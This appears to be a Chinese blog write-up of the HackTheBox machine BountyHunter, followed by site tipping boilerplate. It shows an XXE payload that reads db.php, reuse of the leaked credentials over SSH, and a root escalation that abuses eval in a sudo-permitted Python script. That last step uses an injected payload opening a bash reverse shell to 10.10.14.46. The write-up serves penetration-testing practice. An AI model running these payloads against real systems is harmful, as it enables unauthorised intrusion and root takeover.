HackTheBox-BountyHunter WP

0x01 信息收集


端口信息

image-20210905162026669



目录扫描

image-20210905161800851




0x02 打靶

一通乱点后来到一个后台地址:

image-20210905123140302



提交后在burp中能够发现网站和后台通信的数据:

image-20210905123307253



进行URL解码和BASE64解码后发现是xml:

image-20210905123338095



于是可以试试XXE,首先读取文件:

image-20210905123403065



成功了,接下来可以试试读取别的文件:

image-20210905123428344



但是该读什么文件呢,在之前的扫描目录可以发现db.php,于是尝试读取db.php

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php">
    ]>
    <bugreport>
    <title>dfg</title>
    <cwe>dfg</cwe>
    <cvss>&test;</cvss>
    <reward>dfg</reward>
    </bugreport>


在拿到Base64字符串后拿去解码,可以拿到账户和密码:

image-20210905124114252



但是之前的扫描端口发现数据库并没有开放外联,但总归是拿到了敏感信息的。然后还开放了ssh,我们可以试着去撞库。

这里我们可以使用/etc/passwd中拿到的账户做字典去跑。但是用户数量比较少我就选择了一个个试,最后试出了development账户:

image-20210905130216528




0x03 提权

在进行一些信息收集后,我使用命令

sudo -l

发现存在某个校验票据的脚本:

image-20210905130456254



查看该脚本,该脚本是只读的。但是能够发现脚本使用了危险的函数eval

image-20210905131218741



关键函数截取如下:

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))


逻辑很好理解,我们需要根据代码执行逻辑一步步走直到eval被执行。于是最后的payload如下:

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**11+10==__import__('subprocess').call("echo 'sh -i >& /dev/tcp/10.10.14.46/2333 0>&1'>x && bash x && rm -rf x",shell=True)


执行命令并开启监听,即可拿到shell:

sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

拿到root的shell后在家目录下即可拿到secret:

image-20210905160136136




0x04 参考

https://blog.csdn.net/whatday/article/details/102748376

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

h1nt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值